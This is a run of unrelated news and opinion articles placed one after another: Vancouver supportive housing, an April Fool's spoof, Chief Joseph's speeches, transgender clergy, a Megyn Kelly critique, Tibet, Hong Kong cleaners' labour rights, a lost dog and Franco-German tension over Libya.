housing … 25 steps from an elementary school.” Palaschuk cited city documents that reserve at least 20 per cent of the units for tenants who may have an extensive criminal past and a high risk to reoffend, a history of property damage, aggressive and intimidating behaviour, and poor housekeeping and hygiene. Ethel Whitty, Vancouver’s director of homelessness services, said it is typical for residents to protest this kind of project before embracing it, which has been the experience with the 13 permanent supportive housing initiatives located across the city. “People forget they’re even there,” Whitty said. “That’s the thing. In some cases there will be resistance right in the very beginning. The community advisory committees will be set up and people will come once a month and then quarterly and then interest kind of drops off because, in fact, the housing just becomes integrated into the community.”Other groups have expressed support for the project, including an organization made up mostly of students from Sir Winston Churchill Secondary School, a block from the Marpole project. Holly Morrison, 17, a spokeswoman for Marpole Students For Modular Housing, said the idea for the group came after she and other students saw adults calling themselves Marpole Students Against Modular Housing protesting outside the school. “We kind of felt like we had maybe our voices stolen from us,” Morrison said. Homelessness is not the fault of the individual but of society as a whole, she added. “These aren’t inherently bad people. These are people who have just been dealt a bad hand of cards.” The group plans to push for better transit and a cheaper grocery store in the neighbourhood, Morrison said. Several other sites around the city have been earmarked for modular units, though another proposed site in the centre of the city’s Downtown Eastside that would replace a tent city has prompted a backlash. Residents issued a statement saying the B.C. government of shirking on the need for more permanent social housing. Geordon Omand, The Canadian Press Like us on Facebook and follow us on Twitter. -Perhaps the biggest announcement the week of the 183rd annual General Conference of the Church of Jesus Christ of Latter-day Saints came late on Easter Sunday. The LDS Church announced plans to purchase Utah State University, renaming the 125 year old school BYU-Logan. The Church cites increasing tension between Aggie fans and Cougar fans as the reason for the purchase. “We hope this move will defuse any tension between Aggie fans and Cougar fans. Now fans from both schools can cheer for BYU, regardless if they’re from Logan or Provo”, said a church spokesperson. Utah State University officials point to a dramatic drop in school enrollment, in large part due to the Church’s announcement last fall that young men are now eligible to serve LDS missions at 18 years of age. “They joke around and call us their little brother. Now they can call us their twin brother,” said a school spokesperson. Of course, Monday is April 1st and we hope Aggie fans can appreciate a good April Fool’s joke when they read one! -Two Statements by Chief Joseph of the Nez Perce (1877 and 1879) The lands of the Nez Perce stretched from Oregon to Idaho, but after the Gold Rush, in the 1860s, the federal government seized millions of acres of their lands, crowding them into a small part of their former lands. Chief Joseph led the resistance to the ongoing encroachment of Nez Perce lands in the 1870s, but his people came under fierce attack in 1877. Chief Joseph was forced to lead a retreat toward the Canadian border. He and his followers were defeated, some forty miles from the border, in Montana, on October 5, 1877. He was sent to the Indian Territories in Oklahoma, where he continued to speak out against the crimes of the U.S. government, as he did in a visit to Washington in 1879. From Voices of A People's History, edited by Zinn and Arnove CHIEF JOSEPH'S SURRENDER (OCTOBER 5, 1877)1 Tell General [Oliver Otis] Howard I know his heart. What he told me before, I have it in my heart. I am tired of fighting. Ta-hool-hool-shute is dead. Looking-Glass is dead. The old men are all dead. It is the young men who say "Yes" or "No." He who led on the young men is dead. It is cold, and we have no blankets; the little children are freezing to death. My people, some of them, have run away to the hills, and have no blankets, no food. No one knows where they are—perhaps freezing to death. I want to have time to look for my children, and see how many of them I can find. Maybe I shall find them among the dead. Hear me, my chiefs! I am tired; my heart is sick and sad. From where the sun now stands I will fight no more forever. CHIEF JOSEPH RECOUNTS HIS TRIP TO WASHINGTON, D.C. (1879)2 At last I was granted permission to come to Washington and bring my friend Yellow Bull and our interpreter with me. I am glad I came. I have shaken hands with a good many friends, but there are some things I want to know which no one seems able to explain. I cannot understand how the Government sends a man out to fight us, as it did General [Nelson] Miles, and then breaks his word. Such a government has something wrong about it. I cannot understand why so many chiefs are allowed to talk so many different ways, and promise so many different things. I have seen the Great Father Chief (President [Rutherford B.] Hayes); the Next Great Chief (Secretary of the Interior [Carl Schurz]); the Commissioner Chief; the Law Chief; and many other law chiefs (Congressmen) and they all say they are my friends, and that I shall have justice, but while all their mouths talk right I do not understand why nothing is done for my people. I have heard talk and talk but nothing is done. Good words do not last long unless they amount to something. Words do not pay for my dead people. They do not pay for my country now overrun by white men. They do not protect my father's grave. They do not pay for my horses and cattle. Good words do not give me back my children. Good words will not make good the promise of your war chief, General Miles. Good words will not give my people good health and stop them from dying. Good words will not give my people a home where they can live in peace and take care of themselves. I am tired of talk that comes to nothing. It makes my heart sick when I remember all the good words and all the broken promises. There has been too much talking by men who had no right to talk. Too many misinterpretations have been made; too many misunderstandings have come up between the white men and the Indians. If the white man wants to live in peace with the Indian be can live in peace. There need be no trouble. Treat all men alike. Give them the same laws. Give them all an even chance to live and grow. All men were made by the same Great Spirit Chief They are all brothers. The earth is the mother of all people, and all people should have equal rights upon it. You might as well expect all rivers to run backward as that any man who was born a free man should be contented penned up and denied liberty to go where he pleases. If you tie a horse to a stake, do you expect he will grow fat? If you pen an Indian up on a small spot of earth and compel him to stay there, he will not be contented nor will he grow and prosper. I have asked some of the Great White Chiefs where they get their authority to say to the Indian that he shall stay in one place, while he sees white men going where they please. They cannot tell me. I only ask of the Government to be treated as all other men are treated. If I cannot go to my own home, let me have a home in a country where my people will not die so fast. I would like to go to Bitter Root Valley. There my people would be happy; where they are now they are dying. Three have died since I left my camp to come to Washington. When I think of our condition, my heart is heavy. I see men of my own race treated as outlaws and driven from country to country, or shot down like animals. I know that my race must change. We cannot hold our own with the white men as we are. We only ask an even chance to live as other men live. We ask to be recognized as men. We ask that the same law shall work alike on all men. If an Indian breaks the law, punish him by the law. If a white man breaks the law, punish him also. Let me be a free man, free to travel, free to stop, free to work, free to trade where I choose, free to choose my own teachers, free to follow the religion of my fathers, free to talk, think and act for myself—and I will obey every law or submit to the penalty. Whenever the white man treats the Indian as they treat each other then we shall have no more wars. We shall be all alike—brothers of one father and mother, with one sky above us and one country around us and one government for all. Then the Great Spirit Chief who rules above will smile upon this land and send rain to wash out the bloody spots made by brothers' hands upon the face of the earth. For this time the Indian race is waiting and praying. I hope no more groans of wounded men and women will ever go to the ear of the Great Spirit Chief above, and that all people may be one people. Hin-mah-too-yah-lat-kekht has spoken for his people. Footnotes 2 Chief Joseph Recounts His Trip to Washington, D.C. (1879). Quoted in Chester Anders Fee, Chief Joseph: The Biography of a Great Indian (New York Wilson-Erickson, Inc., 1936), pp. 281-83. -God made man and woman: separate, opposite and at least, in some ways, some of the time, equal. That is often thought of as the Christian view. But, despite much opposition, trans people are increasingly being welcomed within our churches. And not just welcomed, but asked to take a lead; that is accepted and authorized as ministers, pastors, priests -- as those entrusted to teach and lead and guide and care. I recently undertook a mapping exercise of Christian churches across the US and Europe to support a project considering the legal rights of transgender and transsexual persons in a global context. And, speaking as a sociologist (activists, very naturally, would take a different view), there has been a surprising amount of change over the last decade. An increasing number of the larger mainstream Protestant denominations now accept and welcome transgender Christians in their congregations and in roles of leadership, and conduct marriages involving transgender people. The first transgender minister in the USA, Sky Anderson, was ordained back in 1979 with the pioneering, one might say prophetic, Metropolitan Community Church. Now that change is coming into the mainstream of American (Protestant) Christianity, with transgender Christians accepted as ministers in the United Church of Christ in 2003, the Evangelical Lutheran Church of America in 2009, The Presbyterian Church (USA) in 2010 and The Episcopal Church in 2012. Back across the pond, the Lutheran churches, especially in Scandinavia have led the way with the Church of Sweden permitting the ordination of transgender (and LGB) clergy in 2006. Now many European churches have transgender clergy and marriage. In some cases the impetus for change has been Equality legislation, but change in practice has also been prompted by individual cases. The Church of England, for example, has not formally discussed the issues affecting transgender Christians in its synod, but the first priest to transition, the Revd. Carol Stone (who very sadly died last year) did so back in 2001 with the strong backing of her bishop, Barry Rogerson. Of course not everyone is in agreement: denominations who count their membership in the millions, and especially those tied to the state of national identity will inevitably have people with very different opinion, as on every other issue. The fact that change is happening at the rate it is within Churches, which as community associations must tend to the needs of all their members, is what makes the speed of these recent developments surprising. Strong opposition and open hostility also remain common. Indeed the overwhelming majority of the 2.1 billion Christians in the world belong to churches, which are officially unsympathetic to the claims of transgender people. Such churches are driven to interpret and condemn transgenderism as a psychic or moral disorder because of the way in which they understand (or many would argue misunderstand) the significance of gender difference. They include denominations like the Southern Baptist Convention, which in 2014 provided a clear statement of their opposition to transgender identity. It also includes Pope Francis, radical in so many ways, yet on matters of gender very firmly anchored to the worldview of his predecessors. But of course 'on the ground,' as with so many other issues, lay Catholics have different and often dissenting views. And despite his views on gender, the Pope is clearly someone who values the voice of the people; who is prepared to listen. -Every intern, cameraman and anchor at Fox News knows one thing is true: no one ever went broke mongering white fear. Selling the idea that brown people are coming to get your stuff—whether it's your presidency, your kid’s rightful college slot, your medical insurance or the true racial identity of Santa Claus—has always been Fox's calling card. Over the years, that has proven to be a remarkably successful marketing strategy. But never has it been so winningly packaged as in the brand called Megyn Kelly. Since its debut in October at the 9pm slot, "The Kelly Files" has killed in the ratings, raking in an average of 430,000 viewers in the 25-to-54 demographic advertisers crave most. Her 2.5 million viewers are more than the combined averages of CNN, MSNBC and HLN in the same time slot. She’s been pulverizing Piers Morgan and Rachel Maddow. Variety last month observed that Kelly is “doing something extraordinary.” Until last week’s no-black-Santa (and no-black-Jesus) remark, Kelly seemed to be crafting a career trajectory zooming her beyond the Foxbot brand and into mainstream television. Before she signed her last contract, Roger Ailes was quoted worrying that other networks would snag the 43-year-old lawyer-journalist. There was talk of a possible future at GMA and "The Today Show." “We’d love her to stay here and be even a bigger star,” Ailes said at the time. “I’d be stunned if she wanted to go to any other cable channel. That’s a real dive off a high cliff. If somebody wanted her to host The Today Show or something, she’d have to look at that, I suppose.” According to Brian Stelter, Kelly spoke with CNN, “which was very interested in hiring her,” and her reps sought a meeting at ABC. The question that now must be on her agent’s mind is whether the no-black-Santa comment torpedoes that potentially rewarding mainstream career path. It all depends on whether Kelly’s viewers recognize the comment for what it was: the live-television version of a smiling horror movie pod-person cracking open to reveal the lizard within. And then, of course, it depends on whether those same fans secretly like the lizard. SPONSORED Blonde, sleek and sassy, with publicity shots of herself supine in black silk, Kelly is visually a typical Foxbot. When she won the primetime slot, Stephen Colbert made a joke of switching the faces of Kelly, Greta van Susteren and Gretchen Carlson from under one blonde helmet to the next. “Fox is bringing in some fresh blood and not just for Rupert Murdoch’s wine cellar!” Colbert joked. But Kelly brought elements to her career that elevated her above her peers. Like van Susteren, she’s a lawyer by training. Early on, she put those skills to to use as an “investigative” journalist, famously “revealing” that Obama’s Justice Department was soft on black radicals. Like Ann Coulter she knows how to harness the power of a sassy quip delivered from inside a black halter top. And, she’s managed to brand herself as a Palin woman, rejecting “interest group” feminism, proudly flaunting three on-air pregnancies while snappily shooting down neanderthals like Lou Dobbs and right-wing blogger Erick Erickson on women’s proper roles in society. She’s useful in branding Fox for women. As Alyssa Rosenberg noted on ThinkProgress after Kelly excoriated Erickson about women being genetically made for housework: “The Republican Party as a whole may draw accusations that it’s fighting a war on women, an impression aided by a lot of male politicians who show a decided implication to chow down on their own shoe leather. But Fox News can use Kelly’s defense of working mothers, and of maternity leave, as proof that it isn’t utterly beholden to the least competent elements of the party with which it often finds itself identified.” For a tough-talking professional woman to survive and thrive on the right, she must be careful always to give lip service to the joys of motherhood even if single, and if a mom, exude satisfaction with domesticity. Kelly’s Twitter profile reads: “Happily married to Doug, crazy in love with my children Yates, Yardley and Thatcher and anchor of the Kelly Files.” Her half-a-million-plus Twitter followers can have no idea how truly happy or unhappy that home life is, with husband Doug, a former IT security company executive now bricked up in the mansion as a stay-at-home dad and novelist. His first novel sank like a rock, and Kelly rather scandalously interviewed him about it herself. If Kelly plays fast and loose with the rules, she can do so because she knows their limits. Born and raised in upstate New York, with a law degree from Albany, she put in 10 years at the mega-law firm Jones Day, representing credit agency Experian, that faceless wall of bureaucracy and trove of personal data collection. She’s connected and knows how to use her connections. When she married Doug, the New York Times covered the wedding but mysteriously omitted all mention of her first marriage, which ended in divorce. Asked about the omission—since the paper never covers marriages without mentioning prior nuptials—the paper said it was just an oversight. Kelly combines a little actual news sense—disagreeing with Karl Rove on his bad Ohio call in the 2012 election; being the first broadcaster to call Virginia for Terry McAuliffe last month—with the Fox standard, sowing fear and suspicion with a smile and Chiclet teeth. She purveys a slightly more presentable version of the urban legends that frightened white people email to each other, about brown people who place baby carseats on the side of the road and lie in wait in the woods for well-meaning travelers who stop to investigate, or bad guys lurking in suburban mall parking lots waiting to jump into your car. Her chief claim to fame in the investigative department was tracking the “New Black Panthers” and endlessly recycling a spurious claim that this shadowy if not mythical outfit was planning to violently suppress white voters. According to Media Matters, she devoted 45 segments—three and a half hours of air time—to the New Black Panthers over two weeks, churning the story which then was picked up and amplified by the radio frothers. She found a disgruntled ex-DOJ Republican to claim Obama's DOJ gave a pass to Black Panther depredations against whites. At the time, she had an afternoon slot called "The Kelly Factor," primetime for priming the fear pump on stay-at-home mothers. In Kelly's interview ex-DOJ employee and GOP activist J. Christian Adams alleged the Department of Justice wouldn’t prosecute black people for voting crimes. “Do you believe that the DOJ has a policy now of not pursuing cases if the defendant is black and the victim is white?” Kelly asked. Adams replied: “There’s no doubt about it.” Even her fellow Foxbot Kirsten Powers called her out on that story, accusing Kelly of "doing the scary black man thing." She’s also reliably anti-immigrant. In 2010, she went to town on a story about how immigration groups were trying to get reporters to exchange the terms "illegal aliens" and "illegal immigrants" in favor of "undocumented immigrant." Kelly compared that request to criminal defense lawyers asking reporters to rebrand rapists as "non-consensual sex partners." "You could say that a burglar is an unauthorized visitor. You know, you could say that a rapist is a non-consensual sex partner which, obviously, would be considered offensive to the victims of those crimes," Kelly said. "So how far could you take this?" Last week’s comment about black Santa and black Jesus was only the clarified essence of the Kelly “brown people are coming to get you” brand. “For all you kids watching at home, Santa just is white,” Kelly said at the time. “But this person is just arguing that maybe we should also have a black Santa. But Santa is what he is.” She continued: “Just because it makes you feel uncomfortable doesn’t mean it has to change, you know? I mean, Jesus was a white man too. He was a historical figure, that’s a verifiable fact, as is Santa—I just want the kids watching to know that.” Two days later she offered not an apology but an explanation: She was making a joke and the humorless, possibly envious left didn't get it. “I offered a tongue-in-cheek message for any kids watching,” she explained. “Humor is a part of what we try to bring to this show, but sometimes that is lost on the humorless. Many questioning whether I understand that Santa is a mythical figure, others suggesting that I am a racist who is outraged at the idea of a black Santa. Well, this would be funny if it were not so telling about our society, in particular the kneejerk instinct by so many to race-bait and to assume the worst in people. Especially people employed by the very powerful Fox News channel.” The pretty deliverer of ugly messages is nothing new in the television age. In Videocracy, documentary filmmaker Eric Gandini made a study of the use of pretty woman by the Berlusconi media empire during the last several decades. “In Italy you get the feeling that this cultural banality has been a tool to destroy democracy,” he told me in an interview. “It's not a question of ideology, it's a question of lack of values, lack of morality. Italy has become a country where words don't work anymore. 'Videocracy' means the power of the image. … Impressions are much more valuable than truth.” In America, that now-salty dog in a black cocktail dress, Anne Coulter, long ago proved the bankability of the lithe, red-meat-tossing, right-wing blonde. A sharp, pretty woman willing to provoke and arouse for ratings will always attract the attention of the networks, eventually. But black Santa will be the test of whether the Megyn Kelly brand of racial provocation makes it across the shrinking divide between Fox and the mainstream. Does she go Hasselbeck or Coulter? Coulter’s more fun, Hasselbeck’s more money. The decision may not be hers to make now. -A Tibetan monk set himself on fire in protest at China's rule over the Himalayan region, overseas media and rights groups said on Friday, adding it was unclear whether he survived. Images of a man in monk's robes lying on the pavement as flames almost one meter (three feet) high engulfed him were posted on the website of Radio Free Asia (RFA), which is backed by the US government. Thursday's fiery protest in Yushu, in the north-western province of Qinghai, was carried out by 26-year-old Sonam Topgyal, said the British-based campaign group Free Tibet. "Information about whether he survived is not yet available," it said. Phone and internet communications were shut down immediately after the self-immolation attempt, and local people's movements restricted, Free Tibet said. RFA said the burning was the sixth this year, and the 142nd such act in Tibet and elsewhere since 2009, most of them fatal. Many Tibetans accuse the central government of religious repression and eroding their culture, as China's ethnic majority Han increasingly move into historically Tibetan areas. Beijing condemns the self-immolation protests and also says it has brought development to Tibet. Yushu is a rugged, remote corner of the Tibetan plateau, where a devastating earthquake struck in 2010, killing nearly 2,700 people. First Published: Jul 10, 2015 18:30 IST -by Ann Garrison KPFA Weekend News broadcast Sept. 3, 2016 Transcript KPFA Weekend News Anchor Lola Acanmu: On Tuesday, Sept. 6, Bay Area Green Parties will protest the Commission on Presidential Debates’ youth engagement function at Dominican University in San Rafael. KPFA’s Ann Garrison reports. KPFA/Ann Garrison: By calling itself the “Commission on Presidential Debates,” the private corporation that controls presidential debates masquerades as a government entity. It is in fact a private, corporate-funded corporation controlled by the Republican and Democratic National Committees. A federal judge appointed by President George W. Bush recently tossed out a lawsuit brought against the so-called commission for excluding Green Party candidate Dr. Jill Stein and Libertarian Party candidate Gary Johnson. The judge ruled that the commission is a private entity and that only government institutions have First Amendment obligations. Nevertheless, Dominican University is partnering with the private entity to produce College Debate 16, an event they say will encourage student involvement in the upcoming debate between Donald Trump and Hillary Clinton. A promotional YouTube video describes the event: Promotional video narrator: This spring, students from partner colleges and universities from across the country will be chosen to represent their schools and states. These student delegates will convene at Dominican University of California, a voter education partner of the Commission on Presidential Debates, to organize, collaborate and plan outreach at their schools and virtually to peers near and far. Using social media, the delegates will connect and rally students nationwide to expand the conversation about what matters most. After engaging their peers, the delegates will return to Dominican University of California in September for the 2016 college convention. The main event, a town hall, will be streamed live to partner colleges and universities across the nation. At the town hall, the delegates will identify the top issues they want the presidential candidates to address at the debates. This newly formed national network of college students will inform the presidential debate moderators about the top issues that influence how students vote. Through the power of peer engagement and social media, young voters will hold the candidates accountable to addressing what matters most to this valuable youth constituency. Student in video: Never before has access to information and engagement in civic life been so accessible. We can’t sit on the sidelines. We have to stand up, speak out and vote! Students: Together we make a difference. Our vote counts. KPFA: In its emphasis on social media, College Debate 16 resembles campus promotions of humanitarian militarism, including campaigns for intervention in Darfur, South Sudan, Syria and Uganda. Student in promotional video: College Debate 16 is a social media initiative where we partnered with the Commission on Presidential Debates to create this social media initiative to get college students across the entire country involved in the presidential debates by keeping the conversation going through Twitter, Facebook and Instagram. Another student: Young people are the future. We don’t read the news but we’ll read a Twitter feed. We’re going to know what’s going on through our social media and so using Instagram, Twitter, can bring up terms like “foreign policy.” KPFA: Students in the promotional videos identified the cost of education as a key concern, but Dr. Jill Stein, who advocates the abolition of student debt, will be excluded from the presidential debates. Stein says that 43 million college students and graduates are trapped in predatory student debt and that their votes are enough to swing the election. Bay Area Greens say that they have been stopped from passing out campaign literature at Dominican University and that they will be at Dominican on Tuesday to protest that and Dr. Jill Stein’s exclusion from the presidential debates. In 2010, Green Party gubernatorial candidate Laura Wells was arrested while protesting her own exclusion from a debate at Dominican. In Berkeley, for Pacifica, KPFA Radio, I’m Ann Garrison. Greens will protest at Dominican University, 550 Acacia, San Rafael, CA during the college convention from 12:30 pm to 3:00 pm on Tuesday, September 6. The Facebook page for the protest is https://www.facebook.com/events/514387055428976/. Oakland writer Ann Garrison writes for the San Francisco Bay View, Black Agenda Report, Black Star News, Counterpunch and her own website, Ann Garrison, and produces for AfrobeatRadio on WBAI-NYC, KPFA Evening News, KPFA Flashpoints and for her own YouTube Channel, AnnieGetYourGang. She can be reached at anniegarrison@gmail.com. In March 2014 she was awarded the Victoire Ingabire Umuhoza Democracy and Peace Prize for promoting peace in the Great Lakes Region of Africa through her reporting. -by Gloria Lee, Jessica Li and Joey Kwan Lam Siu Mui (not her real name), a 40-year-old who has worked as a cleaner for more than 20 years, sits with a union organiser and prepares to tell her story. In December, 2014, she started working for a contractor providing outsourced cleaning services for a public housing estate. But she quit last July when she discovered the company had been cheating on her salary and holidays. “I have never experienced such deception in the 20 years I’ve been working,” says Lam. “I had trusted the company, but I have been hopelessly depressed after this.” Lam is her family’s sole breadwinner. “I have to feed my parents in the Mainland and my 15-year-old son who lives with me,” she says, “I work two jobs a day.” Lam trusted her team leader at work so whenever the team leader handed her documents to sign, she would do so without hesitation, even though she could not understand the contents. “I’m illiterate, I was thankful to have a job,” she explains. In July, 2015, Lam told her team leader she needed a few days of leave to look after a sick relative in the Mainland. She was shocked when the team leader told Lam she had already used up all her annual leave for 2015. Lam says she had not taken a single day of annual leave that year. When she announced she was quitting, the team leader changed tack because she wanted to keep Lam on. “She [the team leader] said she could compensate me for all the annual leave days owed to me if I chose to stay” Lam recalls. Later, she quit anyway and decided to take legal action against the company with the help a trade union. That was when she says she realised she had been misled to sign documents such as rosters and applications for annual leave. These showed Lam had taken all her annual leave days and had taken regular days off. In fact, she says, the company had sometimes asked her to work on her days off. “When they told me to work on days off, they didn’t give any reason except to say the company needs me.” John Leung Yip-hon from the Hong Kong Confederation of Trade Unions has been helping Lam for more than a year. Leung says he handled more than 60 similar cases in 2015. Leung thinks Lam has little chance of winning in court because the company has all the supporting documents but Lam has only her word. Leung says it is common practice for contractors to cheat on outsourced workers’ holidays and salary and the government’s policy of outsourcing has led to labour abuses and hurt workers’ rights and livelihood. He explains that a contractor may only make a profit of around HK$30,000 a month for providing cleaning services on an estate; that is if they do not cheat. “If a worker normally works eight hours a day at the minimum wage level of HK$32, that’s HK$256 a day,” Leung calculates. “If there are 70 cleaners in the housing estate, the contractor can make an extra profit of HK$17,920 by cheating one day of holiday from each cleaner.” The government has been outsourcing public services and reducing the number of public servants in order to lower costs and promote efficiency within departments since the 1990s. Currently, the Food and Environmental Hygiene Department, Government Property Agency, Housing Services Department and Leisure and Cultural Services Department are the major departments which employ outsourced services. Together, they account for nearly 90 per cent of all government outsourced workers. Most of these workers are on low wages and lack sufficient protection. Kwok Lai-shan works as a cleaner, for another private contractor, which she does not want to name. She has been on the job for six years and at 71 finds it is physically arduous. What is more, Kwok says she is required to work on statutory holidays, and when the black rainstorm signal or the number eight gale or storm signal are up. Despite this, she and many others are paid the minimum wage. Kwok recalls that a few years back, she and six co-workers went to the boss to ask for a raise. “We did reflect our opinions, but the company told us if we don’t want to work, then we should sign the resignation letter,” Kwok says. “But you know, not everyone can afford to lose the job, and with it the few thousand dollars [a month].” Law Pui-shan, the Policy Research Officer of the Hong Kong Catholic Commission for Labour Affairs, says workers have minimal bargaining power. Many outsourced workers are not well educated, some are elderly and are afraid of losing their jobs because it would be hard to find another one. “Contractors don’t need to use guns or knives to intimidate the workers,” Law says, “but they tell the workers that they may lose their job if they disobey.” Law points out the current situation is abnormal because there is a greater demand for workers than there is a supply. “If the contractor lacks workers, it should be the employer who doesn’t want you to leave, and should offer better working conditions. But the workers are so scared of the employers.” Law says this is because there is little protection for outsourced workers. The government will only investigate if there is a complaint. However, workers are afraid to complain because they are afraid of losing their job. The only legal safeguards of workers’ welfare are the Employment Ordinance and the Standard Employment Contract. But Law says the guidelines in the Standard Employment Contract are very vague, especially those on work safety. It simply states contractors need to follow the Employment Ordinance and to protect the work safety and health of workers. “That is it,” Law says. “But how do you protect? How do you implement? Are there any specific policies?” Under the existing outsourced services tendering system, private contractors are regulated through a demerit point system. Those contractors who have had a certain number of points deducted will be barred from submitting tenders for contracts. But critics say the system is ineffective. Law Pui-shan says the “buying out” of holidays, problems with work safety, the lack of severance payment and forced resignations have not been included in the demerit points system. “The demerit points system can no longer successfully monitor private contractors, and protect the rights of workers.” Law says. According to Law, the government outsourced the responsibility to protect working conditions when it outsourced services. The plight of workers is exacerbated, she says by the “alliances” formed by private contractors. “It is like contractors allying with each other, one takes the tender for the first three years while the other one succeeds for another three years.” says Law. “The government does not want to offend the private contractors, because it is hard to get contractors now, the government is worried that no contractors will tender and no one will do the cleaning.” Law estimates there are fewer than 20 contractors bidding for cleaning contracts and suspects this may be why the government is unwilling to improve the monitoring of private contractors. She says the government should encourage new contractors to compete. Other than that, she thinks the government should strengthen regulations and improve the demerit system, clearly list work safety regulations and step up inspections. Most importantly, Law says there should be more communication among government departments, especially with the Labour Department, to form a strong network to monitor private contractors. However, Legislative Councillor Leung Yiu-chung who is also from the pro-labour Neighbourhood and Worker’s Service Centre says the government outsourcing policy was an attempt to introduce market forces and reduce costs in the provision of public services. He says that under the “big market, small government” principle, the government would not set up concrete guidelines. “Flexibility for contractors is essential in outsourcing. Who would still tender when there are so many guidelines restricting flexibility?” Accordingly, Leung does not think the government will do much to protect the welfare of outsourced workers. “The contract does not protect the workers. The government simply looks to see if it fits within the law. In outsourcing [services], the government doesn’t care about workers’ welfare.” Most government departments adopt the lowest bid wins system while selecting private contractors. According to a report conducted by the government’s Efficiency Unit, over 80 per cent of government departments awarded tenders to companies offering the lowest price. In order to offer the lowest price for the bid, contractors tend to offer workers wages no higher than the statutory minimum wage rate. An attempt has been made to change the situation. Starting from July, a revised outsourcing guideline states government departments have to take into account the wages contractors offer their workers in awarding contracts. However, according to a written reply from the Food and Environmental Hygiene Department (FEHD), “up to now, the FEHD does not see significant change in the contractors’ committed wage offers since the revision of the relevant guideline in late June this year”. The Financial Services and the Treasury Bureau said in its reply that it was not possible to assess the impact of the revised guidelines on workers’ wages as departments are allowed to determine the weightings of the assessment criteria when outsourcing, depending on the operational needs. Paul Yip Siu-fai, professor at Hong Kong University’s Department of Social Work and Social Administration, says it would be best if the government abolished the whole outsourcing system, but he acknowledges this is unlikely. Yip says the root problem of outsourcing is that neither the government nor society place much value on workers. He adds that in countries such as Britain and Australia, there are much heavier punishments for industrial accidents and deprivation of workers’ rights. “The deterrent effect of our laws and punishments is weak,” says Yip. “We haven’t made good use of the laws we have in Hong Kong.” This is particularly true in the case of outsourced workers. -Story highlights Chuck and Elicia James lost their dog during Superstorm Sandy a year and a half ago While looking to adopt a new dog, Reckless was the very first dog introduced to them "He jumped 3 feet in the air," owner tells CNN "We love happy endings," animal shelter CEO says When Chuck and Elicia James ventured to their local animal shelter to adopt a dog, they expected to meet a new member of their family. Instead they found themselves reunited with their long lost canine. The James' had not seen Reckless, a brown and white terrier-pitbull mix, since he went missing over a year and a half ago during Superstorm Sandy. They had lost their beloved pup after the fence in their Keansburg, New Jersey, home was mangled during the storm, Chuck James told CNN on Friday. While the family never stopped looking for Reckless, for their 10-year-old daughter's birthday they decided it was time to move on and adopt a new dog at the Monmouth County SPCA JUST WATCHED Apps go to the dogs Replay More Videos ... MUST WATCH Apps go to the dogs 02:07 JUST WATCHED Family finds dog amid landslide rubble Replay More Videos ... MUST WATCH Family finds dog amid landslide rubble 01:32 JUST WATCHED Cancer patient reunites with lost dog Replay More Videos ... MUST WATCH Cancer patient reunites with lost dog 02:04 To their surprise, the first dog they were introduced to was one named Lucas, who had a striking resemblance to their former pup. "He jumped 3 feet in the air," James said. "He immediately recognized us. And then the tears came -- there wasn't a dry eye in the place." The James' confirmed it was their dog based on an uncanny scar on the top of his head. "After Sandy, we had so many animals being turned in," said Jerry Rosenthal, president and CEO of the animal shelter. Rosenthal told CNN that 3-year-old Reckless ended up at the shelter last November after an employee found him on the streets. Rosenthal believes Reckless was taken in by another family for a period of time before he once again got loose. Rosenthal said the James' story really emphasizes the importance of getting your pet microchipped. Microchipping is a process in which an animal is implanted with a rice-sized chip that is used to identify him or her. "If Reckless had been microchipped, we could have reunited him with his family much sooner," he said. "We love happy endings. I always tell people our goal is to prevent animals from coming into the shelter except when we can get them back to their original owners," Rosenthal said. The James family is still displaced from their home after it was destroyed by Sandy. They are currently residing at a local hotel with Reckless after the hotel happily allowed him to stay. The James' 10-year-old daughter was absolutely ecstatic with Reckless' return and the two have been inseparable since, Chuck James told CNN while on a family weekend camping trip. "The only thing I can say now is I am finally on a vacation with all the members of our family again," said James. -Anyone who mentions the name of the French president around members of Germany's governing coalition at the moment can expect to see plenty of irritated faces. Dubbed the "French general," Nicolas Sarkozy has already annoyed members of Angela Merkel's conservative Christian Democrats and their coalition partner, the business-friendly Free Democrats, by not consulting anyone when he sent his fighter jets to patrol the skies over Libya. Didn't the French president once allow "Brother Colonel" Moammar Gadhafi to pitch his Bedouin tent in Paris, they ask? Perhaps, they add, Monsieur Sarkozy wants that little snippet of information to be quickly forgotten -- along with his cosy relationships with other North African despots. Oh, and he is facing elections next year, as well: A determined military operation to defend human rights might do no harm in that respect. There are not many people in Berlin who have good things to say about the country's western neighbor at the moment, despite the high value that is normally attached to good Franco-German relations. The military operation against the Libyan dictator has put a spanner in those particular works. The German government considers the military action a mistake, hastily launched without a proper plan. The lack of preparation is, however, compensated for with plenty of rhetoric. France is determined to assume its "role in the face of history," Sarkozy declared. And he went further, cleverly portraying Germany as occupying an outsider role alongside China and Russia. And now Paris also wants to downgrade NATO to the role of a helper rather than giving it command of the operation. The Paris leadership is getting on the nerves of many in Berlin. The feeling is so strong that FPD floor leader Birgit Homburger made her anger clear on Wednesday: "I cannot see how we can be criticized by those who go it alone themselves." 'Our Relationship Is Markedly Colder' But the animosity is currently mutual. The French are disappointed with the German abstention on the Libya resolution in the UN Security Council. The Le Monde newspaper said the German government was "lacking solidarity or any maturity." Germany was giving the impression of being a freeloader who wanted to "harvest the fruits of the determination shown by the French, British and American allies without getting their hands dirty." French Foreign Minister Alain Juppe was more cautious with his words. "We would have wished that Germany would join us," he said. Other, anonymous sources, however, were far more explicit. "Angela Merkel will have to pay for this for a very long time," a French diplomat was quoted as saying by the newspaper Le Parisien. "Even if they receive the support of their own public, their international image will suffer, and our relationship is getting markedly colder." Le Figaro also quoted a disgruntled high-ranking French diplomat, who described Berlin's stance as "a big mistake which will cost Germany dearly in political terms." The newspaper spoke of a "severe blow to the Franco-German friendship." Officially, of course, there is no mention of such problems. Following the adoption of the UN resolution, Chancellor Angela Merkel rushed to the Libya summit meeting because she wanted to avoid the impression she was politically isolated. President Sarkozy did not say anything and welcomed Merkel as warmly as ever. The chancellor hastily insisted that the resolution was now "also our resolution" -- abstention or not. Germany naturally stood by its allies, she said. Nonetheless, it was noticeable that, out of the European leaders present, Polish Prime Minister Donald Tusk was the only other head of government who had not offered any military assistance. Germany on the Sidelines France will not go out of its way to make sure that Germany is involved in future planning of the operation in Libya. Sarkozy's diplomats are currently working hard in Brussels to prevent leadership of the military operation being transferred to NATO, something the Germans would welcome. Instead, Paris has organized its own political steering committee, which would include representation from all the parties involved in the operation, as well as the African Union and the Arab League. The first meeting will be held in London next Tuesday. The Germans will be on the sidelines. The French government has tried to downplay the disharmony. Foreign 